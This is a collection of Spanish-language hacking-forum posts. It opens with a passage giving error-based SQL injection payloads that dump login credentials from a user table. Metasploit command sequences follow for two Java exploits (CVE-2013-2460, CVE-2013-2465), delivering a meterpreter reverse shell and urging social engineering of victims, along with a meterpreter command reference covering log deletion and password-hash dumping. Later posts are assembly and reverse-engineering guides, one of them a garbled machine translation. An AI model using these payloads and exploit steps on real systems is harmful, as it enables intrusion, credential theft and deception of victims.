' group by Usuario.Clave, Usuario.Nombre, Usuario.Clave_de_Acceso, Usuario.Password, Usuario.Tipo_de_Usuario having 1=1--

Hacemos la inyección y el siguiente error sera así:



Nos acaba de dar el nombre de la tabla y la columna "Usuario.Tunto_de_Captura", teniendo esto regresamos a nuestro login y escribimos:


' group by Usuario.Clave, Usuario.Nombre, Usuario.Clave_de_Acceso, Usuario.Password, Usuario.Tipo_de_Usuario, Usuario.Punto_de_Captura having 1=1--


Hacemos la inyección y el siguiente error sera así:


Nos acaba de dar el nombre de la tabla y la columna "Usuario.ESTATUS", teniendo esto regresamos a nuestro login y escribimos:

' group by Usuario.Clave, Usuario.Nombre, Usuario.Clave_de_Acceso, Usuario.Password, Usuario.Tipo_de_Usuario, Usuario.Punto_de_Captura, Usuario.ESTATUS having 1=1--

Como podemos observar al hacer esto nos dira "clave de acceso y/o password incorrectos" esto quiere decir que hemos terminado de buscar las tablas y columnas.


Nuestra siguiente inyección sera de esta forma:

' union select 1,1,1,1,1,1,min(Clave_de_Acceso) from Usuario where Clave_de_Acceso > 'a'--

Esta parte tenemos 6 unos y min(LOGIN) es la posición al hacer la inyección les arroja los datos.

La posión de los unos puede varia un ejemplo podría ser:

' union select 1,1,1,1,min(Clave_de_Acceso)1,1 from Usuario where Clave_de_Acceso > 'a'--


Curiosamente al hacer la inyección de esta forma tenemos el acceso:

' union select 1,1,1,1,1,1,min(Password) from Usuario where Clave_de_Acceso > 'ADMIN'--



La inyección para que les arroje la password es:

' union select 1,1,1,1,1,1,min(Password) from Usuario where Password > 'ADMIN'--

#12
Bugs y Exploits / CVE-2013-2460
2 Septiembre 2013, 03:46 AM

CVE-2013-2460 Java Applet ProviderSkeleton Insecure Invoke Method

Este módulo de Metasploit abusa el método inseguro invoke()  de la clase de ProviderSkeleton que permite para llamar a métodos estáticos arbitrarios con argumentos de usuario. La vulnerabilidad afecta a la versión Java 7u21 y versiones anteriores.


Explotando CVE-2013-2460 con mestasploit:

// Cargamos el módulo

msf > use exploit/multi/browser/java_jre17_provider_skeleton

// Cargamos el payload para el meterpreter

msf exploit(java_jre17_provider_skeleton) > set PAYLOAD java/meterpreter/reverse_tcp

msf exploit(java_jre17_provider_skeleton) > set LHOST [IP Local]

msf exploit(java_jre17_provider_skeleton) > set srvhost [IP Local]

msf exploit(java_jre17_provider_skeleton) > set uripath /

msf exploit(java_jre17_provider_skeleton) > exploit


Ahora realizamos un poco de Ingeniería Social para enviar la dirección generada por el metasploit para hacer la sesion meterpreter.

#13
Bugs y Exploits / CVE-2013-2465
2 Septiembre 2013, 03:44 AM

CVE-2013-2465 - Java storeImageArray() Invalid Array Indexing

Este módulo de Metasploit abusa de la Vulnerabilidad matriz indexación no válida en la función storeImageArray() de la función estática para producir una corrupción de memoria y finalmente evadir el Sandbox de Java. La vulnerabilidad afecta a Java versión 7u21 y versiones anteriores.


Explotando CVE-2013-2465 con mestasploit:


msf > use exploit/multi/browser/java_storeimagearray

msf exploit(java_storeimagearray) > set PAYLOAD java/meterpreter/reverse_tcp

msf exploit(java_storeimagearray) > set LHOST [IP Local]

msf exploit(java_storeimagearray) > set srvhost [IP Local]

msf exploit(java_storeimagearray) > set uripath /

msf exploit(java_storeimagearray) > exploit


Ahora realizamos un poco de Ingeniería Social para enviar la dirección generada por el metasploit para hacer la sesion meterpreter.
#14
Hacking / Comandos Meterpreter
16 Noviembre 2012, 01:44 AM
Meterpreter es un Payload que se ejecuta después del proceso de explotación o abuso de una vulnerabilidad en un sistema operativo, meterpreter es el diminutivo para meta-interprete y se ejecuta completamente en memoria; evitando así tener problemas con los Antivirus.

En este artículo se describen algunas de las características más importantes de este shellcode como son:

   1. Eliminación de archivos de Log.
   2. Captura de pantalla.
   3. Carga y descarga de archivos.
   4. Copiar información.
   5. Extracción de información de configuración: Tablas de enrutamiento, tarjetas de red, registro de Windows, configuración de seguridad, archivos compartidos, configuración de firewall, etc, etc.

Core Commands

Background

Ejecuta la sesión actual en segundo plano para retornar a la línea de comandos de Meterpreter, para regresar a la sesión se ejecuta el comando tradicional (sessions –i 1).    





Migrate

Permite migrarse a otro proceso en la maquina víctima.    





File Systems Commands

LS

Permite visualizar los archivos en el directorio remoto actual.    



Download

Permite descargar un archivo de la maquina atacada, es necesario hacer uso del back-slash doble en la ruta del mismo    



Upload


Permite cargar un archivo en una ruta especifica, de la misma manera que el comando download es necesario hacer uso del doble slash al momento de indicar la ruta.    



Search

Permite buscar archivos en la maquina víctima, además:

1. Permite indicar el tipo de archivo.

2. Permite indicar la ruta donde se quiere realizar la búsqueda.    






Networking Commads

Ipconfig

Permite visualizar todas la información de todas tarjetas de red existentes en la maquina atacada.    



Route

Permite consultar y modificar la tabla de enrutamiento.    



System Commads

Execute

Permite ejecutar un comando.    



Getprivs

Permite obtener tantos privilegios de administración como sea posible.    



Getuid

Permite consultar el tipo de usuario que la maquina victima esta ejecutando.    



Ps

Permite consultar todos los procesos que están en ejecución.    



Shell

Permite obtener un Shell, o línea de comando.    



SysInfo

Permite obtener información del sistema remoto como:

1. Nombre de la maquina.
2. Sistema Operativo.
3. Tipo de arquitectura.
4. Lenguaje del sistema operativo.    



User Interface Commads

Enumdesktops

Permite consultar todas las sesiones (o escritorios).    



Idletime

Permite consultar el tiempo en el que el usuario de la maquina victima ha estado ausente.    



Screenshot

Permite extraer una imagen del escritorio remoto.    



Uictl

Permite controlar algunos de los componentes del sistema afectado.    



Password Database Commads

Hashdump

Permite consultar el contenido del la base de datos SAM en sistemas Windows.

#15
ASM / [HLA] High Level Assembly
7 Noviembre 2012, 18:55 PM
HLA (High Level Assembly)

Por ahí revisando archivos me encontré con esta bella de información.

HLA es un lenguaje ensamblador de alto nivel que sirve para ir aprendiendo de a poco el lenguaje ensamblador puro, es decir que te permite usar construcciones de alto nivel como "for", "while", "if" y etcétera e ir aprendiendo las instrucciones de ensamblador poco a poco hasta saber usar construcciones puras de ensamblador. El lenguaje HLA es desarrollado por Randall Hyde y también escribió un libro importante de Assembler sobre HLA.


HLA
Las herramientas de HLA son multiplataforma y de dominio público.
http://www.webster.cs.ucr.edu/AoA/index.html
http://www.web.mac.com/randyhyde/HighLevelAsm

Technical Documentation
http://www.webster.cs.ucr.edu/Page_TechDocs


HIDE (HLA IDE)
HIDE es para la plataforma Windows y la licencia es libre para uso personal o comercial.
http://www.sites.google.com/site/highlevelassembly


Otras herramientas útiles

ResEdit
Es un editor de recursos para los programas.
http://www.resedit.net/

Resource Hacker
Es una herramienta para ver, modificar, renombrar, agregar, borrar y extraer recursos en ejecutables de Windows de 32bit & 64bit y archivos de recursos.
http://www.angusj.com/resourcehacker/






Sitios web de Assembler (no son sitios sobre HLA, sino de Assembler puro)

http://www.asmcommunity.net
http://www.winasm.net
http://www.x86.org


Agner's CPU blog
http://www.agner.org/optimize/blog

Hutch's Assembly pages
http://www.movsd.com

Paul Hsieh's x86 Assembly page
http://www.azillionmonkeys.com/qed/asm.html

Iczelion's Win32 Assembly Homepage
http://www.win32assembly.online.fr


Tutoriales de Assembler

PC Assembly Tutorial - Roby Joehanes
http://www.etfos.hr/~jbognar/pozadine/temp/asembly%20tutorial

Lenguaje Ensamblador Para Microprocesadores Intel 80xx/80x86 - M. en C. Eduardo René Rodríguez Ávila
http://www.homepage.mac.com/eravila/assmblr.zip





Bibliografía

The Art of Assembly - Randall Hyde
http://www.webster.cs.ucr.edu
http://www.arl.wustl.edu/~lockwood/class/cs306/books/artofasm/toc.html

Assembly Language, The True Language Of Programmers
http://http://www.phatcode.net/res/225/files/pc_underground.pdf

Programming Ground Up - Jonathan Bartlett
http://www.programminggroundup.blogspot.com

Assemblers And Loaders - David Salomon
http://www.davidsalomon.name/assem.advertis/asl.pdf

Lenguaje Ensamblador para PC - Paul A. Carter
http://www.drpaulcarter.com/pcasm/pcasm-book-spanish.zip

Programación avanzada en lenguaje ensamblador - Medina, Ramon
http://www.ramonmedina.name/files/universidad/ac/ac0001.PDF

Introduction to 80x86 Assembly Language and Computer Architecture - Richard C. Detmer
http://www.cin.ufpe.br/~clac/infra_de_software/Introduction%20to%2080x86%20Assembly%20Language%20and%20Computer%20Architecture~tqw~_darksiderg.pdf

Manuales de Optimización de Agner Fog (Nota: los manuales no son para principiantes)
http://www.agner.org/optimize
#16
ASM / Masm32
7 Noviembre 2012, 18:54 PM
Next Generation Software

Introducción

Muchos recuerdan ensamblador como una necesidad complejo y tedioso cuando un lenguaje de alto nivel no ofrecer en términos de capacidad o rendimiento, sin embargo, siempre ha sido capaz de escribir aplicaciones de tamaño completo de una manera elegante y eficiente. MASM tiene la capacidad de escribir código modular adecuada que se convierte en una necesidad como un proyecto se hace más grande.
Ensamblador tiene la libertad de escribir el código que van desde la auto-impuesta enfoque estructural de la desenfrenada código libre, cada uno con sus respectivas ventajas. Auto-impuesto código modular tiene la ventaja de la organización, especialmente en proyectos de mayor envergadura en estilo libre tiene sus ventajas en la optimización del código corta distancia del bucle.

El rendimiento en el código ensamblador relación tamaño utiliza dos enfoques que se aprovecha de muchas de las técnicas de la eficiencia del lenguaje de alto nivel, tales como la reutilización de código al mismo tiempo ser capaz de centrarse específicamente en el código de velocidad crítica cuando sea necesario.

32 ensamblador poco es tanto más clara y más simple que el DOS y 16 bits de código de Windows y no es la maldición de la complejidad de la aritmética del segmento. Ya no tienen que lidiar con AX: DX pares de enteros largos y no hay límite de 64 KB impuestas por la estructura segmentada de software de 16 bits.

La complejidad de la escritura de 32 bits del software de Windows está relacionado con la estructura de Windows y la enorme gama de funciones en el conjunto de API. Se diferencia del código de DOS sólo en la medida en que los parámetros se pasan en la pila en lugar de en los registros como en las interrupciones de DOS.

Mientras que la enorme gama de funciones de la ventana puede ser un poco intimidante, sino que también pone en manos del programador de lenguaje ensamblador, un enorme conjunto de capacidades que no estaban disponibles en DOS.

Una de las ventajas de escribir en ensamblador es que cómodamente se encarga de la "C" el formato de la API de Windows sin ninguna dificultad. Cero cadenas terminado, estructuras, punteros, los tamaños de datos, etc .. son parte de la escritura ensamblador.




¿Cómo funciona MASM32?

Está diseñado para conectar a un equipo que tiene otros entornos de programación establecido en él y esto exige ciertas restricciones en el formato. Para evitar los problemas asociados a recoger las versiones de enlace mal y directorio de la biblioteca equivocada, obras MASM32 con las rutas especificadas a todos los archivos binarios que necesita para generar los archivos.

En el código fuente, las rutas a los archivos de la biblioteca se especifican y en los archivos de proceso por lotes que son utilizados por el editor para impulsar las opciones de generación, las rutas de cada archivo binario se especifica así.

Archivos de otras fuentes por lo general no construir a partir de MASM32 sin alguna modificación, por lo general la colocación de las directivas específicas MASM siguiente al principio del archivo de origen va a resolver la mayoría de los problemas. La otra es usar la "inclusión" y "includelib" sintaxis para el archivo de inclusión y bibliotecas para que sus caminos se puede encontrar.

      0.386, las fuerzas de 32 bits de montaje
      plana modelo, stdcall; modelo de la memoria y la convención de llamada.
      CaseMap opción: ninguno; caso sensible código


MASM32 utiliza su propia versión de "windows.inc". Es un archivo de más de 800k de tamaño y tiene un conjunto muy grande de iguala y las estructuras en que para 32 bits de programación de Windows. Siempre se debe poner antes de que el sistema se incluyen los archivos y bibliotecas.

Ejemplo

      include \ MASM32 \ include \ windows.inc, siempre el primero

      include \ MASM32 \ include \ user32.inc; sistema incluyen
      include \ MASM32 \ include \ kernel32.inc; siguiente archivo
      include \ MASM32 \ include \ gdi32.inc

      includelib \ MASM32 \ lib \ User32.lib, sistema de juego
      includelib \ MASM32 \ lib \ kernel32.lib, bibliotecas después de que
      includelib \ MASM32 \ lib \ gdi32.lib


MASM32 utiliza un conjunto de archivos de inclusión generados por el funcionamiento del sistema que se derivan de las bibliotecas. Para cada biblioteca, se utiliza el archivo de inclusión que corresponda. Para encontrar una función que necesita en función del material de referencia que está utilizando, busque en el sistema de archivo de inclusión para ver el archivo que tiene el prototipo de la función e incluir el archivo y la biblioteca correspondiente.

La mayoría de las funciones más comunes son en los tres grandes archivos DLL del sistema por lo que si nos fijamos en,

GDI32.INC; gráficos funciones relacionadas
    KERNEL32.INC, núcleo del sistema operativo funciones
    USER32.INC; interfaz de usuario y varias otras funciones


    se encuentran la mayoría de las funciones comunes.

Para las funciones que no están en las principales bibliotecas, por lo general el material de referencia Microsoft especifica que la biblioteca de la función es en lo que si se mira en el archivo de inclusión para esa biblioteca, se encuentra el prototipo de la misma.

Hay dos fuentes de referencia principal para escribir en ensamblador 32 bits en Windows, para las instrucciones de ensamblador y la arquitectura general de la serie de procesadores x86, los tres (3) el volumen conjunto de archivos PDF a partir de Intel son los mejores disponibles y exhaustivamente documentada en el PIII la configuración manual.

La otra es Microsoft material de referencia. El más común es un archivo de ayuda llamado "Win32.hlp" que ahora es un poco fuera de fecha, pero todavía útil. Se trata de un archivo de ayuda de alrededor de 12 megas de tamaño. Si usted tiene el MSDN 2 juego de CDs, la información es más tarde y mucho más grande, pero es que también ocupa unos 800 megas de espacio en disco cuando se instala. Otra alternativa es los archivos de ayuda PlatformSDK sino que también son de aproximadamente el mismo tamaño.




Código de diseño

Con el uso de la sintaxis MASM alto nivel de "invocar", el código de Windows API se puede escribir mucho como idiomas compilador basado como "C" o "Pascal", la única diferencia real es que usted tiene que recoger el valor de retorno como un línea separada.

     LOCAL ReturnValue: DWORD

    invocar FunctionName, par1, par2, par3, PAR4
    mov ReturnValue, eax


Esto está en el lugar de la forma menos legible,

     impulsar PAR4
    par3 empujar
    empuje par2
    empujar par1
    llamar FunctionName
    ReturnValue mov, eax


No es una ventaja considerable en términos de fiabilidad del código mediante el uso de la "invocar" la sintaxis de las llamadas a funciones que son de tipo compara con los prototipos de funciones en los archivos de inclusión que atrapa los desajustes de los parámetros.

Hay algunas situaciones en las que la pila manual de empujones y las llamadas a funciones son útiles, pero a menos que usted disfrute de la tipificación adicional y error de montaje que se derivan de la falta de comprobación de tipos, no hay ventaja en términos de velocidad de codificación y confiabilidad mediante la automatización de las llamadas a funciones API. Esto es particularmente evidente cuando la codificación de los bucles de mensajes con las pruebas condicionales anidadas.

Para cualquier que tienen que estar convencidos, hay un directorio en el código de ejemplo llamado "estilo antiguo", que muestra cómo es lento y propenso a errores de la técnica manual completo y sólo se basa en el mismo tamaño que el modelo genérico que utiliza el pseudo MASM alta nivel de la sintaxis.

El alto nivel [si -.. Endif] sintaxis permite una simulación razonable de la C " switch "en bloque o" Basic Select Case "la sintaxis que se pueden anidar en la forma normal y es aquí donde la codificación de alto nivel en claro su tipo de cuenta verdadera ventaja.

     . Si var == 1
        ; código condicional
    . elseif var == 2
        , código condicional
    más.
        ; código predeterminado
    . endif


El tradicional [cmp eax, valor - je etiqueta] produce pesadillas en la misma situación.

El uso de la simulación de alto nivel en MASM mejora el rendimiento del código de "hack" API de Windows de codificación de manera que las áreas más difíciles de la optimización del circuito y otros temas relacionados con el rendimiento se pueden abordar en un plazo razonable.

Cuando se utiliza la sintaxis MASM seudo alto nivel, que se están aprovechando de MASM "ensamblador macro" de la capacidad, que el código no se hinchan o en peligro de la misma manera que los datos se elaboran. Esta capacidad se puede ampliar por escrito "macros" que a automatizar las formas comunes de codificación.

Las siguientes macros pequeños MASM32 lo demuestra,

       volver MACRO arg
        mov eax, arg
        ret
      ENDM


  permite al programador para salir de la proc mensaje mediante el conocido "C",

     return 0

  que se expande por el ensamblador en,

mov eax, 0
    ret


Otra macro se utiliza,

      szText MACRO Nombre, Texto: vararg
        LOCAL lbl
          jmp lbl
            Texto Nombre db, 0
          lbl:
        ENDM


  que permite que el texto sea incorporado directamente en el código.

       szText Msg1, "Esta es una cadena terminada en cero"
      invocar el cuadro de mensajes, Juin, Msg1 ADDR, ADDR szDisplayName, MB_OK


Esto permite mucho más intuitiva de codificación de tener que volver a la inicialización. Apartado de datos mediante,

      Msg1 db "Esta es una cadena terminada en cero", 0

Datos integrados en la sección de código. Tiene una ventaja, ya que normalmente es mucho más difícil de encontrar y cortar y normalmente no se puede escribir de la misma manera que la sección. Datos. También es una forma eficiente de utilizar pequeñas cantidades de datos sin necesidad de colocarlo en la sección. Datos.

Para los programadores que desean mantener la posición más intuitiva de texto cerca del código que se utiliza al colocar los datos en la sección. Datos, hay una manera fácil de hacer precisamente eso, en línea escrita con el código fuente,

    . Datos
      Msg1 db "Se trata de los datos escritos en la sección. datos", 0
    . código


  trabaja muy bien. Ml.exe resuelve el código y coloca los datos en la sección. Datos.

MASM32 intencionalmente ha evitado el uso de macros complejas, ya que no son fáciles de entender al principio, pero hay un considerable poder y la velocidad de codificación mediante la comprensión y el uso de macros escritas correctamente. La siguiente es una macro un poco más compleja que hace uso de un cuadro de mensaje estándar tan fácil como escribir en Visual Basic que puede utilizar el texto citado literalmente o direcciones directas de cero cadenas terminado o combinaciones de ambos.

    MsgBox hWnd, "Hola, estoy escrito en MASM32", "Saludos", MB_OK

Esta es la macro que produce el comando MsgBox.

      MsgBox MACRO Handl, TxtMsg, txtTitle, styl

        LOCAL Msg1
        Titl LOCAL

        Si @ InStr (1, <TxtMsg>, <addr>) eq 0
          @ Si InStr (1, <TxtTitle>, <addr>) eq 0
          . datos
            Msg1 TxtMsg db, 0
            db Titl txtTitle, 0
          . Código
            invocar mensajes, Handl , ADDR Msg1, ADDR Titl, styl
            EXITM
          EndIf
        EndIf

        Si @ InStr (1, <TxtMsg>, <addr>) gt 0
          @ Si InStr (1, <TxtTitle>, <addr>) eq 0
          . datos
            Titl txtTitle db, 0
          . Código
            invocar mensajes, Handl, TxtMsg, ADDR Titl , styl
            EXITM
          EndIf
        EndIf

        Si @ InStr (1, <TxtMsg>, <addr>) eq 0
          @ Si InStr (1, <TxtTitle>, <addr>) gt 0
          . datos
            Msg1 TxtMsg db, 0
          . Código
            invocar mensajes, Handl, ADDR Msg1, txtTitle , styl
            EXITM
          EndIf
        EndIf

        Si @ InStr (1, <TxtMsg>, <addr>) gt 0
          @ Si InStr (1, <TxtTitle>, <addr>) gt 0
            invocar mensajes, Handl, TxtMsg, txtTitle, styl
            EXITM
          EndIf
        EndIf

      ENDM


MASM32 se ha escrito sin ningún compromiso a los intereses o el formato de otros idiomas, se pretende potenciar al máximo las ventajas de escribir en un lenguaje de bajo nivel verdadero. El formato de los archivos de inclusión y el código de ejemplo utiliza tamaños de datos genéricos ensamblador en forma de BYTE, WORD, DWORD, QWORD. No intente poner en práctica las teorías abstractas de clases o cualquier otra técnicas de estratificación, sino simplemente para poner a disposición el verdadero poder bajo nivel de las mejores disponibles en ensamblador.

El tamaño de los datos se relacionan directamente con el tamaño de registro de la serie de procesadores x86 donde hay una correlación exacta entre el tamaño de los datos y los tamaños de registro.

  Registrarse tamaño de DATA

    al = BYTE 8 bits
    ax = palabra de 16 bits
    eax = DWORD de 32 bits
    mm (0) = QWORD 64 bits


Compare esta simplicidad de hardware basado en directo a la situación actual de 32 bits de Windows C + +, que tiene más de 60 diferentes tipos de datos en torno a la teoría de clase abstracta y donde los nombres de los diferentes tipos de datos significar cosas diferentes dependiendo de qué versión del sistema operativo que se construye.

El archivo windows.inc ha tenido todos los tipos de datos convertidos a los tipos de datos genéricos de ASM para eliminar la capa adicional de complejidad en los años 60 o por lo que C + + tipos de datos que reducen hasta el BYTE asm genéricos, WORD, DWORD, QWORD. Esto elimina una de las fuentes de error principales, tipos de datos incorrectos. Hay un conjunto de conversiones en windows.inc para los programadores que portar el código escrito en C / C + + tipos de datos en MASM32.




Código de Portabilidad

Si usted está escribiendo código para las plataformas que posee colectivamente alrededor del 2% del mercado de software, la portabilidad significa algo, pero en un mercado que es aproximadamente el 95% del sistema operativo de Microsoft basado en las ventajas de tamaño, velocidad y potencia superan fácilmente la idea de ser puede escribir código que puede ser compilado en diferentes plataformas.

El problema con el código de plataforma cruzada es que es por necesidad, código más bajo denominador común que por lo general un mal desempeño contra el código específico de la plataforma.

A menudo hay debates acalorados sobre las virtudes diferentes de código portátil contra el código específico de la plataforma, pero lo que no está sujeto a debate es la medición del tamaño de disco utilizado, o la evaluación comparativa en términos de rendimiento.

Código específico de la plataforma tiene la ventaja, en gran medida en términos de rendimiento, pero a costa de no ser compilable en otras plataformas.

Argumentos muy similares son utilizados por algunos que son de la opinión de que los lenguajes de alto nivel son ahora lo suficientemente bien escrito para ser capaz de hacer lo ensamblador puede hacer, pero una vez más, la medida del tamaño del disco y la evaluación comparativa de los resultados cuentan una historia diferente.

Bien escrito el código de alto nivel de lenguaje en un compilador que no tiene muchos bugs en el que a menudo se desempeña bien en comparación con el código ensamblador mal escrito, pero para hacer el punto, el código bien escrito en ensamblador se superan a cualquier lenguaje de alto nivel, no importa lo bien que la código de lenguaje de alto nivel que está escrito.

Algo que se olvida en el debate es que el ensamblador, en este caso, MASM, gestiona todas las construcciones de alto nivel normal, también. Funciones normales con los valores de retorno, los procedimientos, sin valores de retorno, las bibliotecas, las llamadas a DLLs, Windows el uso de recursos, etc ... pero con la ventaja añadida de que puede utilizar las macros escritas correctamente los cuales más de edequately compensar los sistemas de pre-construidos en lenguajes de alto nivel.

Muchos de los que son de la orientación de la programación orientada a objetos evocan las imágenes de los programadores de ensamblador a desarticular a los archivos binarios en un editor hexadecimal, pero esto está lejos de la forma programadores de ensamblador de trabajo. La sintaxis de la seudo alto nivel en MASM, en relación con la capacidad de macro permite que el código muy limpio, si está escrito correctamente, sin embargo, todavía no hay ensamblador puro compromiso.

La distinción básica aquí es que con un ensamblador, usted consigue lo que usted escribe en un compilador, se obtiene más de lo que escriben y tienen poco control sobre lo que se añade. Es cierto que existen compiladores bien diseñado en el mercado, pero no hay razón para suponer que alguno o todos los compiladores se escriben así, sin pruebas de su producción en términos de tamaño o velocidad.

Escrito en ensamblador para una plataforma específica, en este caso de 32 bits de Windows es una tarea que no se compromete a poner en peligro su rendimiento en pos de un objetivo que normalmente no se puede lograr. Absolutamente no se ejecutará en un MAC, pero con menos del 2% del mercado, es una cuestión de "a quién le importa".

Lo que se obtiene con la escritura de ensamblador para una plataforma específica es un rendimiento óptimo para esa plataforma y con el 95% del mercado con procesadores de Intel basados ​​en sistemas operativos de Microsoft, lo que se obtiene es el mejor rendimiento en la plataforma principal.

Para los programadores que necesitan un rendimiento óptimo en otras plataformas, no es la misma alternativa, los ensambladores están disponibles para MIPS, PPC y 68000, así como los procesadores menos conocidos.




Herramientas y juguetes

EDITOR

El editor de MASM32 es qeditor.exe . Es una ventaja para establecer las asociaciones de archivos en el gestor de archivos para que pueda iniciar un archivo ASM haciendo doble clic sobre él en el Administrador de archivos o Explorador. Dependiendo de cómo el equipo individual se establece, esto a veces puede ser un problema en que el Explorador de paso variable parámetros de línea de comandos encerrados en diferentes formatos. La mejor solución es ejecutar "Opciones" en Explorer y configurar las opciones de la siguiente manera,

    1. Seleccione " Mostrar todos los archivos "

    2. Seleccione " Mostrar el total de MS-DOS camino en la barra de título "

    3. ¿Es que no seleccione " Ocultar MS-DOS extensiones de archivo para tipos de archivo que están registrados "

    4. Seleccione " Incluir barra de descripción para los dolores de derecha e izquierda "

El editor viene pre-configurado para crear todo el código de ejemplo y tutoriales Iczelion directamente desde el editor. El menú "Proyecto" tiene el rango de la opción de generación en él para seleccionar y apoyar el GUI y aplicaciones de consola.


Generador de código:

Prostart.Exe es el generador de código se suministra con MASM32. Se basará trabajo EXE como titular a un proyecto. Tiene varias opciones para los componentes incluidos en el código fuente. Prostart.Exe es una herramienta muy útil de aprendizaje en que se escribe el código de la API correcta para las aplicaciones basadas basados ​​en Windows. Este código se puede utilizar para iniciar una aplicación, para el código de creación de prototipos sin tener que escribir manualmente el código de inicio y también para probar ideas de forma rápida.


Usted tendrá que crear un directorio para un nuevo proyecto, seleccione el directorio y elija las opciones que necesita para el proyecto. Puede crear el proyecto directamente desde Prostart.Exe y se prueba para ver si hace lo que usted requiere. Proyectos escritos por Prostart.Exe están diseñados para crear directamente desde el editor y también se puede construir desde el archivo de proceso por lotes que Prostart.Exe crea.

EJEMPLO DE CÓDIGO
MASM32 viene con una serie de código de ejemplo para ayudar en el diseño de los componentes de un archivo de proyecto. Es en los directorios Ejemplo 1, Ejemplo 2 Ejemplo 3 y de MASM32.

TUTORIAL CÓDIGO
Iczelion ha hecho su serie de tutoriales disponibles a MASM32 y ha modificado para trabajar en MASM32. Cada clase es en su propio directorio, que está fuera del directorio ICZTUTES en MASM32.


NOTA : El código de tutorial y el código de ejemplo son los diferentes estilos escritos por personas diferentes y son para fines ligeramente distintos. Iczelion tutoriales están diseñados como ejemplos de aprendizaje , así como por el valor del código que está diseñado el código de ejemplo como principales ejemplos de referencia . asegúrese de que entiende el código de diseño de ambos antes de mezclar el código fuente ya que a veces pueden tener problemas de compatibilidad si cortar y pegar desde el diseño de códigos a otra.
BIBLIOTECAS
MASM32 tiene su propia biblioteca en el M32LIB directorio que tiene el código fuente completo y un archivo por lotes pre-construidos para crear la biblioteca de nuevo si se ha modificado o añadido a. Puede utilizar el archivo por lotes MAKE.BAT como un ejemplo de cómo construir sus propias bibliotecas.

Se empieza con un directorio aparte y cuando se escribe un módulo de biblioteca, lo copia en el directorio donde desea crear la biblioteca. Crear un archivo de inclusión que tiene el prototipo para cada función en cada módulo de la biblioteca y luego hacer un archivo por lotes del mismo estilo que el MAKE.BAT archivo por lotes que se basará la biblioteca para usted. A continuación, puede utilizar el archivo de inclusión y de la biblioteca en sus propios programas

Para facilitar el proceso de escritura de módulos de biblioteca, el editor tiene una opción en el menú Herramientas en "Crear módulo de la biblioteca". Este es un plug-in DLL que poner un esqueleto módulo de la biblioteca directamente en el editor de esta manera puede escribir nuevos módulos de su propio diseño.

Junto con las macros, las bibliotecas son métodos muy potente de hacer código re-utilizable que es rápido, eficiente y confiable para su uso en el nivel de aplicación. Las combinaciones de las bibliotecas y macros permiten al programador lenguaje ensamblador para diseñar con eficacia su propio idioma que se puede escribir tan rápido como un lenguaje de alto nivel normal, pero sin los malos hábitos y la hinchazón que los lenguajes de alto nivel de los más modernos sufren.
 



Esta información esta extraida de Masm32 version 7 . has click aqui para descargar MASM32 7
#17
Tener conocimiento en el lenguaje ASM (ensamblador)

Que es ASM

Se denomina lenguaje máquina a la serie de datos que la parte física de la computadora o hardware, es capaz de interpretar.

Una computadora digital o, mejor dicho, su parte física, sólo distingue  datos de tipo binario, es decir, constituidos por dos únicos valores a los que se denomina valor 0 y valor 1 y que, físicamente,  se materializan con tensiones comprendidas entre 0 y 4.0 voltios y entre 4 y 5 voltios, respectivamente. Para representar datos que contengan una información se utilizan una serie de unos y ceros cuyo conjunto indica dicha información.


Algunos ASM

Masm32 Paquete para programar aplicaciones para Windows con MASM (Microsoft Macro Assembler).

Fasm Ensamblador para DOS, Windows y Linux. Soporta tanto 16, 32 como 64 bits. Open Source.

Nasm Ensamblador alternativo pera orientado mas que nada a Linux. Soporta 16, 32 y 64 bits. Open Source.

Tutoriales de Iczelion: orientado a Windows (MASM32)

Debugger's & Disassembler's

Es un programa usado para probar y depurar (eliminar los errores) de otros programas (el programa "objetivo"). El código a ser examinado puede alternativamente estar corriendo en un simulador de conjunto de instrucciones (ISS), una técnica que permite gran potencia en su capacidad de detenerse cuando son encontradas condiciones específicas pero será típicamente algo más lento que ejecutando el código directamente en el apropiado (o el mismo) procesador. Algunas depuradores ofrecen dos modos de operación - la simulación parcial o completa, para limitar este impacto.

Entre los mas comunes tenemos

OllyDbg (el mas conocido)

W32 Dasm v8.93

HackAsm Disassembler v8.02

Hex editor

Un editor hexadecimal (o editor de archivos binarios o editor de bytes ) es un tipo de programa de ordenador que permite al usuario manipular la fundamental binarios (0 / 1, cero / uno) datos que componen los archivos de computadora . Tenga en cuenta que los archivos de computadora puede ser muy pequeño (sólo un nombre, sin contenido) a muy grandes (de contenido que abarcan varios discos duros). Un archivo de computadora típica ocupa varias áreas en el plato (s) de una unidad de disco, cuyo contenido se juntan para formar el archivo. Editores hexadecimales que fueron diseñados para leer ("parse") y editar sector los datos de los segmentos físicos de disco o los discos duros a veces fueron llamados editores de sector o de los editores de disco .

Entre estos tenemos

HexWorkshop

WinHex v1.25

Hiew v7.10

HDD Hex Editor v5.04

ICY Hexplorer v5.04

Biew v5.62


Tutoriales

Bien aqui les dejo la web de maestro del cracking Ricardo Narvaja http://ricardonarvaja.info/

Los tutoriales para OllyDbg http://ricardonarvaja.info/WEB/INTRODUCCION%20AL%20CRACKING%20CON%20OLLYDBG%20DESDE%20CERO/

y algunos manuales de Programacion

http://ricardonarvaja.info/WEB/OTROS/PROGRAMACION/
#18
Hacking / IDAscope la navaja suiza para reversers
7 Noviembre 2012, 15:45 PM

Function Inspection. Esta función implementa la capacidad de serie específica de etiqueta de llamada API. La API de seguimiento podría seleccionada y modificada en un archivo de configuración específico (config.json). IDAscope le alertará cuando ocurrirán patrones específicos de la API. La funcionalidad de control de función permite otra característica super llamado: bloque basic para colorear. Haber coloreado bloques en IDAPro es realmente útil para aprisa a entender cuál es el propósito de la pieace analizada del código. Lo que es común, ahora es colapsar bloques dando nombres de nivel altos. IDAscope ofrece la posibilidad de colorear automáticamente bloquea haciendo forma más eficiente en reconoce bloques inútiles. Código de función de conversión y cambio de nombre automático de funciones de envoltura son funcionalidades adicionales útiles así.

WinAPI Browsing. Obviamente para windows reversas es increíblemente útil tener manual de referencia de la API de Windows. Aquí, usando la API de IDAscope referencia está al lado de los ojos para la búsqueda rápida e inteligente. La siguiente imagen muestra ambos: colorante de bloques y WinAPI navegando.


Crypto Identification. Tal vez la más funcionalidad de useufl a todos los inversores que se utilizan para lidiar con múltiples herramientas para averiguar qué algoritmo de cifrado se ha utilizado en el código. IDAscope detecta el algoritmo usado basando su análisis en la relación de la aritmética / instrucciones de lógica para todas las instrucciones en un bloque básico.

http://pnx-tf.blogspot.it/

Happy Reverse Engineerin
#19
Dissy es una interfaz gráfica para el desensamblador de objdump. Dissy puede utilizarse para la depuración y viendo el código generado por el compilador.

